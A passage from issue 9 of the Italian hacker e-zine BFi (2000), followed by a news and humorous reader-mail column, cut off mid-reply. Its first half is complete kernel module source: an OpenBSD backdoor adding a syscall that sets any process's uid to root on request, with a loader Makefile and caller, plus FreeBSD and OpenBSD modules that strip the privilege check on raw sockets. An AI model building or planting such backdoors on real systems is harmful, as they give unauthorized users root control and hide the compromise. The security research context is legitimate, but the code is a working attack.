vim Ops! Il processo sara' a carico di deadhead :) Come funziona? Introducendo una nuova syscall che va a modificare i permessi sul processo... A differenza del src x fbsd di pragmatic, questo lkm permette di scegliere l'uid in modo che un processo possa essere eseguito anche con permessi diversi da root... <-| obsd_back/thc_back.c crc32: 1515909354 |-> /* * Name: OpenBSD backdoor * Date: Thu Jun 01 14:46:37 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * idea & credits go to pragmatic / THC * "Attacking FreeBSD with Kernel Modules" * * OpenBSD porting by pIGpEN / s0ftpj * * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: OpenBSD 2.6 FRACTAL#1 i386 * * This is a simple but useful backdoor for OpenBSD based on a FreeBSD lkm * by pragmatic/THC you can read his paper: "Attacking FreeBSD with Kernel * Modules" to understand how to implement it also on a OpenBSD kernel... * * Greetings to: bozo(iKX), koba (sikurezza.org), pragmatic (THC) for his * work * * Consider this an example of lkm... don't use it! * I didn't cover the module because it must be considered only for * educational purposes */ #include #include #include #include #include #include #include #include #include #include #include #include #define OFFSET 210 struct you_make_me_real_args { syscallarg(int) p_pid; /* process to make with p_real uid */ syscallarg(int) p_real; /* p_real uid */ }; static int you_make_me_real (struct proc *p, void *v, register_t *retval) { struct you_make_me_real_args *uap = v; struct proc *pr; if((pr = pfind(SCARG(uap, p_pid))) == NULL) return (ESRCH); pr->p_cred->pc_ucred->cr_uid = SCARG(uap, p_real); return 0; } static struct sysent you_make_me_real_sysent = { 2, sizeof(struct you_make_me_real_args), you_make_me_real }; MOD_SYSCALL( "thc_bck", OFFSET, &you_make_me_real_sysent); int thc_bck (struct lkm_table *lkmtp, int cmd, int ver) { DISPATCH(lkmtp, cmd, ver, lkm_nofunc, lkm_nofunc, lkm_nofunc) } <-X-> <-| obsd_back/Makefile crc32: 2707935197 |-> SRCS=thc_back.c OBJS=$(SRCS:.c=.o) MODOBJ=bck.o KMOD=thc_bck CFLAGS+= -Wall -D_KERNEL -I/sys all: $(MODOBJ) clean: rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD) load: modload -o $(KMOD) -e$(KMOD) $(MODOBJ) unload: modunload -n $(KMOD) $(MODOBJ): $(OBJS) $(KOBJS) $(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS) <-X-> <-| obsd_back/call.c crc32: 1088581707 |-> /* * an example to interface our syscall */ #include #include #include #include #define OFFSET 210 int main(int argc, char **argv) { int error; if(argc != 3) { printf("Usage:\n%s pid uid\n", argv[0]); exit(1); } error = syscall(OFFSET, atoi(argv[1]), atoi(argv[2])); if(error) perror("syscall()"); return 0; } <-X-> -[ RAW S0CKETS 4 ALL ( FreeBSD 4.x, OpenBSD 2.7 ) --[ pIGpEN Questo e' il codice di sraw per le versioni 4.x di FreeBSD e di OpenBSD... Nella 4.x di FreeBSD niente di nuovo come FreeBSD 3.x e NetBSD il controllo viene fatto tramite suser(): precedentemente (nelle 2.x) i permessi erano controllati tramite SS_PRIV nella struttura socket attraverso so_state (questo e' quanto viene fatto attualmente pure da altri kernel BSD come OpenBSD, BSDI...) Il codice per la so_state e' qualcosa di simile al seguente: rip_usrreq() /* gestione dei PRU_* state tramite funzione tipica di quasi tutti i kernel BSD (FreeBSD e' l'eccezione) */ { switch(richiesta) { case PRU_ATTACH: ... if((so->so_state & SS_PRIV)==0) { ... return EACCES; } .. allocazione inpcb ecc... break; ....altre PRU_*... } ... } Per quanto riguarda FreeBSD aggiungo due cenni sulla suser(): questa funzione e' diversa dalla 3.x, richiede solo il processo come potete vedere da suser(9). Guardando poi kern/kern_prot.c: int suser(p) struct proc *p; { return suser_xxx(0, p, 0); /* controlla i permessi ritornando EPERM nel caso in cui questi non siano adeguati */ } Nella compilazione del seguente codice ponete attenzione se avete IPSEC nel kernel... <-| rawsocket/fbsd4-sock/sock4.c crc32: 1295344851 |-> /* * Date: Mon Jul 17 21:26:21 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject 2000 - Digital Sekurity for Y2k * Sikurezza.org - Italian Security MailingList * * Tested on: FreeBSD 4.0-RELEASE FreeBSD 4.0-RELEASE #26: Thu Ju i386 * * All users are allowed to open raw sockets... * This kld disables EPERM in socket() and permits to allocate inpcb even if * the socket is raw and users haven't root permissions... bypassing suser() * in pru_attach() functions... * * If the kernel is installed with IPSEC * #define IPSEC or you will have a kernel panic :) * else undefine it ... * * Note: My English sucks :) (My Italian too :)) * * Idea & Code for Linux by Gigi_Sull * Code for FreeBSD by pIGpEN / s0ftpj */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define IPSEC /* see comments */ extern struct protosw inetsw[]; extern struct inpcbinfo ripcbinfo; static int rip_attach __P((struct socket *, int, struct proc *)); static int (*old_rip_attach) __P((struct socket *, int, struct proc *)); static int module_handler __P((module_t, int, void *)); #define attach(x) inetsw[ip_protox[x]].pr_usrreqs->pru_attach static int module_handler(module_t mod, int cmd, void *arg) { int s; switch(cmd) { case MOD_LOAD: s = splnet(); old_rip_attach = attach(IPPROTO_RAW); attach(IPPROTO_RAW) = rip_attach; attach(IPPROTO_ICMP) = rip_attach; attach(IPPROTO_IGMP) = rip_attach; attach(IPPROTO_RSVP) = rip_attach; attach(IPPROTO_IPIP) = rip_attach; attach(IPPROTO_IDP) = rip_attach; attach(0) = rip_attach; splx(s); break; case MOD_UNLOAD: s = splnet(); attach(IPPROTO_RAW) = old_rip_attach; attach(IPPROTO_ICMP) = old_rip_attach; attach(IPPROTO_IGMP) = old_rip_attach; attach(IPPROTO_RSVP) = old_rip_attach; attach(IPPROTO_IPIP) = old_rip_attach; attach(IPPROTO_IDP) = old_rip_attach; attach(0) = old_rip_attach; splx(s); break; } return 0; } static moduledata_t s_raw = { "S_Raw", module_handler, NULL }; DECLARE_MODULE(S_Raw, s_raw, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); extern int rip_sendspace, rip_recvspace; static int rip_attach(struct socket *so, int proto, struct proc *p) { struct inpcb *inp; int error, s; inp = sotoinpcb(so); if (inp) panic("rip_attach"); /* * if (p && (error = suser(p)) != 0) * return error; */ error = soreserve(so, rip_sendspace, rip_recvspace); if (error) return error; s = splnet(); error = in_pcballoc(so, &ripcbinfo, p); splx(s); if (error) return error; inp = (struct inpcb *)so->so_pcb; inp->inp_vflag |= INP_IPV4; inp->inp_ip_p = proto; #ifdef IPSEC error = ipsec_init_policy(so, &inp->inp_sp); if (error != 0) { in_pcbdetach(inp); return error; } #endif /*IPSEC*/ return 0; } <-X-> <-| rawsocket/fbsd4-sock/Makefile crc32: 1422200088 |-> # SoftProject 2000 - Digital Sekurity for Y2k # Sikurezza.org - Italian Security MailingList # # < pigpen@s0ftpj.org > .PATH: /sys/kern SRCS = sock4.c CFLAGS+= -I/sys KMOD = sock NOMAN = t KLDMOD = t KLDLOAD = /sbin/kldload KLDUNLOAD = /sbin/kldunload CLEANFILES+= ${KMOD} load: ${KLDLOAD} -v ./${KMOD} unload: ${KLDUNLOAD} -v -n ${KMOD} .include <-X-> <-| rawsocket/obsd-sock/obsd_sraw.c crc32: 3771710371 |-> /* * Name: SRaw for OpenBSD * Date: Fri Jul 28 13:41:36 2000 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ] * * SoftProject Digital Security for Y2K (www.s0ftpj.org) * Sikurezza.org Italian Security MailingList (www.sikurezza.org) * * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp but you can give me in return a coffee. * * Tested on: OpenBSD 2.7 FRACTAL#0 i386 * * Giving all permission to open raw sockets... * * Supported Protocol for this SRaw: * * IPPROTO_RAW, IPPROTO_ICMP, IPPROTO_IPIP, IPPROTO_IPV4, IPPROTO_IGMP * * Check if you have ipsec, mrouting on your kernel config and define it.. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int nopriv_rip_usrreq __P((register struct socket *, int, struct mbuf *, struct mbuf *, struct mbuf *)); extern int rip_usrreq __P((register struct socket *, int, struct mbuf *, struct mbuf *, struct mbuf *)); extern struct protosw inetsw[]; extern u_char ip_protox[]; extern u_long rip_sendspace, rip_recvspace; extern struct inpcbtable rawcbtable; MOD_MISC("SRaw"); static int SRaw_load(struct lkm_table *lkmtp, int cmd) { if(cmd == LKM_E_LOAD) { int s; printf("SRaw - 0.1 beta\n"); printf("sOftPj - Y2k\n"); /* * You can also add other protocols... with rip_usrreq or * chage other pr_usrreq */ s = splnet(); inetsw[ip_protox[IPPROTO_RAW]].pr_usrreq = nopriv_rip_usrreq; inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreq = nopriv_rip_usrreq; inetsw[ip_protox[IPPROTO_IPV4]].pr_usrreq = nopriv_rip_usrreq; inetsw[ip_protox[IPPROTO_IPIP]].pr_usrreq = nopriv_rip_usrreq; inetsw[ip_protox[IPPROTO_IGMP]].pr_usrreq = nopriv_rip_usrreq; splx(s); } return 0; } static int SRaw_unload(struct lkm_table *lkmtp, int cmd) { if(cmd == LKM_E_UNLOAD) { int s; printf("SRaw - Unloaded\n"); s = splnet(); inetsw[ip_protox[IPPROTO_RAW]].pr_usrreq = rip_usrreq; inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreq = rip_usrreq; inetsw[ip_protox[IPPROTO_IPV4]].pr_usrreq = rip_usrreq; inetsw[ip_protox[IPPROTO_IPIP]].pr_usrreq = rip_usrreq; inetsw[ip_protox[IPPROTO_IGMP]].pr_usrreq = rip_usrreq; splx(s); } return 0; } SRaw( lkmtp, cmd, ver) struct lkm_table *lkmtp; int cmd; int ver; { DISPATCH(lkmtp, cmd, ver, SRaw_load, SRaw_unload, lkm_nofunc); } int nopriv_rip_usrreq(so, req, m, nam, control) register struct socket *so; int req; struct mbuf *m, *nam, *control; { register int error = 0; register struct inpcb *inp = sotoinpcb(so); #ifdef MROUTING extern struct socket *ip_mrouter; #endif if (req == PRU_CONTROL) return (in_control(so, (u_long)m, (caddr_t)nam, (struct ifnet *)control)); if (inp == NULL && req != PRU_ATTACH) { error = EINVAL; goto release; } switch (req) { case PRU_ATTACH: if (inp) panic("rip_attach"); /* * if ((so->so_state & SS_PRIV) == 0) { * error = EACCES; * break; * } */ if((so->so_state & SS_PRIV) == 0) so->so_state |= SS_PRIV; if ((error = soreserve(so, rip_sendspace, rip_recvspace)) || (error = in_pcballoc(so, &rawcbtable))) break; inp = (struct inpcb *)so->so_pcb; inp->inp_ip.ip_p = (long)nam; break; case PRU_DISCONNECT: if ((so->so_state & SS_ISCONNECTED) == 0) { error = ENOTCONN; break; } /* FALLTHROUGH */ case PRU_ABORT: soisdisconnected(so); /* FALLTHROUGH */ case PRU_DETACH: if (inp == 0) panic("rip_detach"); #ifdef MROUTING if (so == ip_mrouter) ip_mrouter_done(); #endif in_pcbdetach(inp); break; case PRU_BIND: { struct sockaddr_in *addr = mtod(nam, struct sockaddr_in *); if (nam->m_len != sizeof(*addr)) { error = EINVAL; break; } if ((ifnet.tqh_first == 0) || ((addr->sin_family != AF_INET) && (addr->sin_family != AF_IMPLINK)) || (addr->sin_addr.s_addr && ifa_ifwithaddr(sintosa(addr)) == 0)) { error = EADDRNOTAVAIL; break; } inp->inp_laddr = addr->sin_addr; break; } case PRU_CONNECT: { struct sockaddr_in *addr = mtod(nam, struct sockaddr_in *); if (nam->m_len != sizeof(*addr)) { error = EINVAL; break; } if (ifnet.tqh_first == 0) { error = EADDRNOTAVAIL; break; } if ((addr->sin_family != AF_INET) && (addr->sin_family != AF_IMPLINK)) { error = EAFNOSUPPORT; break; } inp->inp_faddr = addr->sin_addr; soisconnected(so); break; } case PRU_CONNECT2: error = EOPNOTSUPP; break; /* * Mark the connection as being incapable of further input. */ case PRU_SHUTDOWN: socantsendmore(so); break; /* * Ship a packet out. The appropriate raw output * routine handles any massaging necessary. */ case PRU_SEND: { register u_int32_t dst; if (so->so_state & SS_ISCONNECTED) { if (nam) { error = EISCONN; break; } dst = inp->inp_faddr.s_addr; } else { if (nam == NULL) { error = ENOTCONN; break; } dst = mtod(nam, struct sockaddr_in *)->sin_addr.s_addr; } #ifdef IPSEC if (!(error = check_ipsec_policy(inp, dst))) #endif error = rip_output(m, so, dst); m = NULL; break; } case PRU_SENSE: /* * stat: don't bother with a blocksize. */ return (0); /* * Not supported. */ case PRU_RCVOOB: case PRU_RCVD: case PRU_LISTEN: case PRU_ACCEPT: case PRU_SENDOOB: error = EOPNOTSUPP; break; case PRU_SOCKADDR: in_setsockaddr(inp, nam); break; case PRU_PEERADDR: in_setpeeraddr(inp, nam); break; default: panic("rip_usrreq"); } release: if (m != NULL) m_freem(m); return (error); } <-X-> <-| rawsocket/obsd-sock/Makefile crc32: 2086673923 |-> SRCS=obsd_sraw.c OBJS=$(SRCS:.c=.o) MODOBJ=SRaw.o KMOD=SRaw CFLAGS+= -D_KERNEL -I/sys all: $(MODOBJ) clean: rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD) load: modload -o $(KMOD) -e$(KMOD) $(MODOBJ) unload: modunload -n $(KMOD) $(MODOBJ): $(OBJS) $(KOBJS) $(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS) <-X-> ============================================================================== ---------------------------------[ EOF 8/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-090100644000000000000000000010370507204352242011353 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/10/2000 - file 9 di 21 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ NEWS + MAiLB0X -----[ Black Berry , Cavallo ---[ NEWS [ Telecom non vendera' piu' RING ] La Corte di Appello di Roma, a conclusione di un procedimento cautelare avviato da Infostrada, Albacom ed AIIP, sospende la commercializzazione da parte di Telecom Italia dei cosiddetti servizi Ring SDH. URL: http://www.aiip.it/com-ring.html --- [ Undernet boccia Infostrada ] L'Undernet Routing Committee ha rifiutato all'unanimita' la richiesta di Infostrada (irc.libero.it) di linkarsi al famoso network irc, dopo essere stata cacciata da IrcNet per abuso di potere degli ircop. Qui di seguito il risultato delle votazioni: EURCOM CFV 20000910-01.. Results: Y:0, N:5, A:0, NV:0 Committee Comments: machine not optimised for ircu operation. Technical details of server administration competence unclear. Connectivity to some points sub-optimal. URL: http://www.routing-com.undernet.org/listapps.php3 --- [ Netstrike contro il sito del comune di Milano contro gli sgomberi ] Il LoaHacklab e Il FirenzeHacklab hanno organizzato il 28 settembre dalle 15 alle 18, un netstrike contro il il server web http://www.comune.milano.it . URL: http://www.ecn.org/loa/web/iniziative/netstrike.html --- [ LoaHacklab denuncia una grave violazione della privacy sul sito del Comune di Milano ] Una gravissima weakness e' stata scoperta dai ragazzi dell'hacklab di Milano URL: http://www.ecn.org/loa/web/iniziative/denuncia.html --- [ Nuovi ISPs Italiani? Sono tutti cosi' sicuri? ] L'ultima notizia arrivata alle nostre orecchie e' di NoPay, tramite il cui sito chiunque navigatore con poca esperienza poteva accedere in lettura e scrittura al database dei clienti, ma anche altri novelli providers che vedono nella grande rete un ghiotto piatto da far mangiare ai loro miliardari finanziatori, non si rendono conto che ci sono delle regole da rispettare e un minimo di misure di precauzione da prendere. URL: http://punto-informatico.it/p.asp?i=33657 --- ---[ MAiLB0X Immancabile come un rigore a Inzaghi o come un attacco di sciolta il giorno prima dell'esame, ecco la parte preferita della e-zine (UAZ UAZ sara' vero =)) ovvero la PostaaaaAAAAAaaaaaaAAAAAAAaaaaAAaaaaaAAAAAaaaaAAAAAA. In console Dj Cavallo (da non confondere con CawalloDJ che e' un altro che gira su Internet e c'entra una sega con me), alle piastre i due account mailboxxosi di BFi e in pancia 2 wurstel e patatine (che fanno sempre bene). Ormai l'estate e' volta alla fine, avrete totalizzato il vostro buon numero di figure di merda (del tipo all'estero "minchia che figa quella" e poi e' italiana e ti guarda tipo "SEI UN KOGLIONE"...), avrete sciallato ubriacandovi e spendendo tutti i sudati (forse) risparmi (vero Slump?), inzomma e' tempo di tornare al lavoro, scuola, universita'o di riguadagnarvi il posto che vi hanno fottuto sotto il vostro ponte, accompagnati da un bel cartone di TV color 32 pollici matrimoniale e da una bottiglia dell'amico Jack (Daniels ovviamente). Colonna sonora per questa sessione postale, Limp Bizkit - The Chocolate Starfish and the Hotdog Flavoured Wafer, release EGO ovviamente a 192kbps come e' giusto che sia. Ma bando ai cazzi e ciancio alle minchie, iniziamo con una mail presa a caso ma che si presta a una interpretazione generale (ne sono arrivate almeno altre tre oltre a questa): [01] "Ma ci tirate pacco? " by Francesco Ciao, non so il perche', ma il numero due di BFI conteneva due files segnalati dal mio McAfee come virus: V-Univ.gr e Viroped.492.gr.. Comunque siete grandi, grazie a riviste come la vostra finalmente riesco a capire la rete per non farmi fottere! [Allora effettivamente nei numeri 1 e 2 di BFi vi erano alcuni virus, che erano contenuti pero' in file zippati dai nomi abbastanza chiari: virii01 e virii02. Inoltre qualcuno ha gridato allo scandalo perche' il suo AntiVirus ha trovato nei file della zine cose come il NetRaider!!! URGH PAURA, SPIRIT BASTARDO !!!! :) Come ho avuto modo di spiegare anche a un lettore straniero, quando sono messi file di questo tipo nella rivista sono sempre descritti e commentati nel dettaglio e probabilmente riportiamo anche il sorgente. Dato che ci occupiamo di security, e' ovvio che si debba avere a che fare con queste cose e quindi che si accludano alcuni di questi file. Se poi vogliamo dire che gli Antivirus rompono le palle anche quando si fa partire per esempio un programma di nuke, si capisce facilmente quanto sia difficile parlare di queste cose, riportarvi esempi e riuscire a non far incazzare il McAfee del caso (o del cazzo?).] [02] "Mazzi e...lazzi?" by Cpt Harlock Ragazzi che roba!! [Dove dove? E' Maria? Sciau belo, vuoi un scinquanta? dai belo che famo su dai dai !!] Non riesco a leggere piu' di mezza pagina senza farmi delle risate!! [Figurati che io non riesco a scrivere piu' di mezza pagina senza ridere delle stronzate che scrivo %)] Finalmente un e-zine coi fiocchi!! Certo, per me che sono poco meno che un newbie, leggendo i vostri articoli non ci capisco una mazza... la meta' e' codice c e anche il resto... (ma dovevo darmi proprio al Java??!!). [No guarda hai fatto male i conti, meta' e' codice C, meta' e' commento al codice C :P Comunque se sai Java dovresti capire almeno la sintassi del C. E comunque Java non fa schifo, e chissa' mai che qualcuno prima o poi scriva qualcosa su BFi in questo linguaggio (io no =))] Comunque volevo sottolineare il fatto che anche per un pivello quale sono, leggere i vostri articoli e' fondamentale!! Infatti a forza de scorazza' per mezza Internet ho capito come distinguere i siti che ti spiegano soltanto strunzate da quelli un po' piu' fichi (sublime il vostro, addirittura). [SOLO sublime? Ma io direi, AULICO E PARADISIACO =)] E volevo proprio cogliere l'occasione per salutare il gran bastardo testaccia di Cx"&!^O che mi ha fatto abboccare come un cretino per poi sputtanarmi non uno (no...magari) ma bensi' 2 (leggasi due) computers (neanche miei) con un virus che spero lui si prenda quello del penis smacellatum mentre va a letto con sua zia!!!!! [AHAHAHAH Lo temo anche io questo virus, mej cojonis...] Ok, mi dispiace solo che non ricordo nulla del tuo sito (tutta la directory di win ho dovuto formattare!!) perche' saresti sicuramente stato la mia prima vittima, lamerone che non sei altro...! Ok, stop al personale e di nuovo complimenti! P.S.:ho proprio capito che sto Linux lo devo installare. Lo si trova in Internet o devo sborsa' ste 70 carte per manuale&softare?? [Lo trovi su Intersgnauss ma non e' il caso di scaricare una distro intera (a meno che tu abbia la flat in tal caso : www.linuxiso.org) Altrimenti trovi una distro un mese si' e uno no su riviste quali Linux&Co, Dev, Computer Programming, Inter & Net, Tua_Madre & Tuo_Padre etc...] [03] "hakers come li denuncio ?" by LearLear li ho beccati : li ho fermati ma poi a chi li denuncio ? 29/03/00 19.18.07 - Found hacker: 212.210.240.126 () 30/03/00 20.58.17 - Found hacker: 212.210.240.112 () 31/03/00 12.06.10 - Found hacker: 127.0.0.1 (localhost) 31/03/00 18.55.16 - Found hacker: 212.210.240.118 () 08/04/00 19.07.37 - Found hacker: 212.210.240.123 () 09/04/00 20.08.52 - Found hacker: 212.171.243.161 () [Mmm inizia a costituirti tu per primo, che il 31 Marzo 2000 alle ore 12.06.10 hai cercato di penetrarti il PC, ma per fortuna il tuo stupendo Firewall (o e' un piu' lamah NukeNabber?) ti ha salvato... E comunque per la denuncia degli hackers devi usare il modello Unico 2000, non dimenticare pero' di devolvere l'otto per mille alla Chiesa Tecnosciamanica PRRR =)))] [04] sadio by Giorgio Ciao, avete costruito il piu' bel sito di tutta la rete!!! [Figa e non sai quanto ci e' costato in mattoni e calcestrunzo!!! Te pensa che a sPIRIT gli e' rimasto il segno della canottiera da muratore per tutto il tempo passato al sole a costruirlo :(] Penso che sia uno dei pochi veramente informativo. Vi lancio un sfida!!!! Riuscite a spiegare ad una bestia informatica come me come far girare un programma scritto in Visual Basic come salvaschermo? MILLE VOLTE GRAZIE Giorgio disperato [Cazz piu' che sfida una impresa... Ti rispondero' sinceramente, non ho su il VBasic ne' tantomeno ho voglia di installarlo, non ho manco su il Win32SDK quindi non ti so neanche dire le API da chiamare (che tanto manco riusciresti probab. a farlo con VB), quindi non mi resta che consigliarti di cercare su qualche sito di componenti gia' fatti per VBasic o di provare a chiedere magari agli amici Spippolatori (www.spippolatori.com) Giusto come aiutino ti riporto le API usate per gli screen saverz: Following are the functions used with screen savers. DefScreenSaverProc RegisterDialogClasses ScreenSaverConfigureDialog ScreenSaverProc In bocca al lupoz.] [05] "#cybernet" by black 541v3 BFi 50n0 un h4[[{3R 31337! .. *g* [C140 4|\/|1C0 S0|\|0 un H4|<3r 4|\|[h3 10 !!!!] bhe, ormai questo e' il genere di gente che si vede su #cybernet, questa mail probabilmente non verra' pubblicata, forse non verra' neanche letta, [Ma che, ma come, ma checcazz, guarda che io le mail le leggo tutte, poi massimo le throwo nel cestino con un tiro da 3, ma fidati che le leggo :P] ma uno ci prova, tentare non nuoce. Trip 9x (98 o 99? la memoria m'e' andata a puttane, troppi tubi:P), cmq, ero al trip, quello dove poi si [Spero che i tubi fossero di fumo e non di alluminio infilati chissa' dove... >:)] sono inculati l'hub, risalite voi alla data ;), non sapevo neanche dell'esistenza di #cybernet e li conosco alcune persone che mi fanno conoscere il canale, ci entro, PORCODIO! una figata di canale, c'e' di tutto dalla feccia, agli hackers (e qui dovrei scrivere un papiro riguardo la mia personale interpretazione di hacker che non e' certo il ragazzino che va bucando i box con gli exploit, hackers, dall'inglese "smanettone", ma sicuramente non devo starvelo a dire io, lo sapete gia ;o) ). cmq, [Si' per pieta' basta disquisizioni su chi e' un hacker... o salta fuori ancora Magalli a dire che pure lui da giovane cercava le password sulle BBS......] entro su questo bel canalino e inizio a conoscere un botto di gente, tutta piu' o meno tranquilla tranne un paio di elementi che non sto a citare. ora.. la rivolta delle merde, non cito i nickname perche' non sto [HIHI la rivolta delle merde, potrebbe essere il titolo di un film HIHI] scrivendo questa e-mail per sputtanare qualcuno, non so neanche io perche' la sto scrivendo, forse e' una e-mail di sfogo. Il punto e' che #cybernet@IRCNet ora fa schifo. Non e' diventato altro che un raduno di idioti che passano le giornate a "tradare" sh3llz gr33nz e altre cose c00lz. L'idiozia e' poi confermata dal fatto che, pur dopo che al TG1 s'e' visto pari pari che i cop monitorano il canale, e ne hanno piena ragione, questa gente continua imperterrita a voler essere "31337". [Beh cosa c'e' di + 31337 di andare sul Tiggi'uno?] Incollo un paio di cosette <****> Ho una CC di uno dell'FBI!! [E io ho una CC mia: non e' meglio?] <******> Qualcuno ha il nuovo numbahz UUNet? [Io no] <*****> Dai raga' che tanto mo che arriva la flat di galactica ci si r0xxa con gli account rubati. Non continuo, penso che queste cose bastino a descrivere l'attuale situazione in cui ci si trova. Gente che dice in continuazione male alla popolazione irc di newbies che usano Pizza Script, Menoka etc.. perche' non capiscono quale fastidio arrechino questi tools, in ogni caso beh, lameretti miei cari, se queste persone devono abbandonare i loro scriptini per diventare come voi.. sinceramente le preferisco ora, nonostante gli spam, le ripetizioni e i CAAAAPSSSSS:D [Beh effettivamente qui gli darei ragione, porco Script :))] Molta gente dice "naa, io mica sto sui verdi per essere 31337, ma perche' non c'ho i soldi per la bolletta", ================================================================== | ora e' uscita la flatrate, 60/70.000 lire, dici che e' troppo? | | allora smetti di passare le giornate su irc e va a lavorare. | ================================================================== [Mi sono permesso di incorniciare la frase, perche' mi sembra perfetta, e riassume appieno il fatto che molta gente che merdeggia (termine che ho appena coniato per rappresentare il cazzeggio in negativo) dovrebbe trovare di meglio da fare invece che bivaccare online rompendo i maroni a NOI persone serie (BUAHAHAH)...] Tutto questo insieme di cose hanno portato molta gente "anziana" di #cybernet a lasciare il canale, ma vi sembra giusto? stronzi! andate a fanculo su #sono_cool e levatevi dal cazzo da #cybernet, voi i vostri verdi e le vostre .gov buggate di wu-ftpd, c'avete letteralmente saturato le palle, non lo capite che non siete fighi sfoggiando un host o "traddando" un verde? Nessuno vi impedisce di usarli, la galera poi e' la vostra, ma non rompete le palle su cyb. Spero con tutto il cuore che questa mail venga pubblicata, almeno qualcuno leggera' quel che penso. bye [Concludo dicendo che non frequento #cybernet, btw se non erro ora il canale e' chiuso in opposizione alla situazione squallida che perdurava da tempo...] [06] "Aiutatemi" by Mario Ciao ragazzi!!! Come va? [Mah, inzomma, potrebbe andar meglio...] Gran bella figata la pag. web.....Io sono un ragazzo di Milano ho 21 anni e da qualche mese ho acquistato un pc,questo vi fa capire che non ho una preparazione eccellente. Ho desiderio da tempo di "diventare" un hacker ma mi sento perso e non so da dove cominciare...passo intere ore a capire come posso iniziare ma e' soltanto uno sclero unico.Nessuno sa niente,nessuno mi spiega...come posso fare? So che ho molte cose da imparare!!!! Dai aiutatemi perfavore!Spero che prenderete in considerazione la mia e-mail. Aspetto una vostra risposta ... Grazie mille e buona continuazione... [Vedi caro Mario, se l'obiettivo e' quello di diventare un hacker e far danni, noi non ti possiamo aiutare. Se invece vuoi imparare qualcosa sui protocolli di rete, sul funzionamento dei programmi, dei sistemi operativi, della sicurezza informatica, allora siamo disponibili a aiutarti, certo nei limiti del possibile (mandaci 100 mail e ti apro come una cozza =)). In ogni caso segui i link presenti sulla nostra pagina e inizia a cercare qualche doc base, ma forse e' meglio prima imparare a usare bene il tuo pc non credi? Magari anche a programmare, in un linguaggio qualsiasi non importa che sia il C, quantomeno impari le basi della programmazione (del tipo se ti dicono "ciclo" non ti viene in mente solo tua sorella =)) Ps:come devo fare per connettermi senzapagare? [fatti un abbonamento FLAT] Mi potete dare info dettagliate per un primo attacco? Grazie... [Mmmmmmmmmmm www.nasa.gov direi che e' facile...] [07] "AF o PF" by Alessio {risponde pIGpEN} [commento mio] Scrivo questa mail in quanto mi sono imbattuto nella lettura su AF, PF.... Premetto che sono circa 20 anni che ho a che fare con AF, PF e cose simili { io sono circa 20 anni che sono nato... :} [20 anni e guardati come sei gia' rovinato...] prima come sistemista e poi come insegnante .. l'articolo che hai scritto e' giusto... volevo pero' fare alcune critiche se mi e' concesso: dunque la prima, visto che seguivo la discussione su comp.protocols.tcp-ip, e' su chi ha effettivamente detto "The correct parameter is a PF_foo" che non e' la stessa persona che ha fatto il ragionamento precedente sulla AF_, mi rendo conto che non avendo l'intera discussione davanti non e' semplice; {ok...} e poi il problema non e' tanto quello della nascita della gallina o dell'uovo, quanto quello di quando e' stata fatta la frittata .... Ti faccio notare che per esempio sulla man page della socket avrai visto che il primo parametro passato alla funzione e' un PF secondo FreeBSD ... Tu spiegavi giustamente che le strutture dominio dentro il kernel confrontano quanto passato con la socket e avendo AF_* in dom_family la cosa piu' giusta da mettere e' un AF_XXX Tuttavia puoi notare che e' stata fatta una vera frittata nel kernel: prova a guardare la struttura routedomain di net/rtsock.c: noterai che questa usa una PF {si e' corretto... static struct domain routedomain = { PF_ROUTE, "route", route_init, 0, 0, routesw, &routesw[sizeof(routesw)/sizeof(routesw[0])] }; } Per cui credo che non solo AF e PF siano interscambiabili... ma addirittura il concetto di scissione tra AF e PF non avverra' mai piu' (a differenza di quello che trovi sulla socket.h) Saluti, e complimenti alla redazione per gli ultimi numeri della vostra zine! {grazie e ciao} [prego non c'e' di che =)] [07] sadio by Tom Nukem Ciao raga, io sono un wannabe nonche' un lettore accanito delle vostre strafichissime pubblicazioni!!!!!!! Mi piacerebbe tanto sapere come si crea un worm virus di quelli furbi...sempre se qualcuno c'a voglia di scrivere qualcosa su questo argomento. [No guarda noi sappiamo fare solo i worm virus stupidi quindi non possiamo aiutarti] P.S.= per me Butchered from inside e' Bibbia...non che io sia un blasfemo... ma e' cosi'! [Bah a me ricorda di piu' il Necronomicom (ovvero il Libro dei Morti) pero' se x te e' la Bibbia io saro' il tuo GISUUUUUUUUUUUUUSSSSSSSSS :PP] [08] "system down" by Claudio ciao ! ho trovato molto interessanti i quattro numeri di systemdown reperibili sul vostro sito! mi sapete dire dove posso trovare i numeri successivi ? grazie continuate cosi' :) [System Down si e' fermato (per ora) al quarto numero. Nostre fonti sottopagate (^_^) ci dicono che si prospetti un ritorno in grande stile col quinto numero, nella migliore delle tradizioni. Non ci resta che attendere e sperare...(Quasi quasi se riaprono le battone ehm i battenti mi faccio raccomandare per fare la loro posta UAZ UAZ UAZ)] [09] "chiarimenti" by jrvocc Scusate la mia ignoranza, ho scaricato la e-zine BFI sul mio hd ma il file con estensione ".id", anche se l'ho gia' visto da qualche parte non so come aprirlo, magari per farne una buona stampa. [Scusa la mia di ignoranza ma dove diavolo l'hai visto in BFI il file .id ??? forse intendi dire il file_id.diz, ma e' solamente un file che viene messo per descrivere il contenuto del file compresso, niente di "fondamentale" da leggere.] Ragazzi lo so che siete in gamba e vi alimentate quotidianamente di codici binari, crittografia, ecc ... ma a noi poveri mortali non ci pensate? [Inzomma 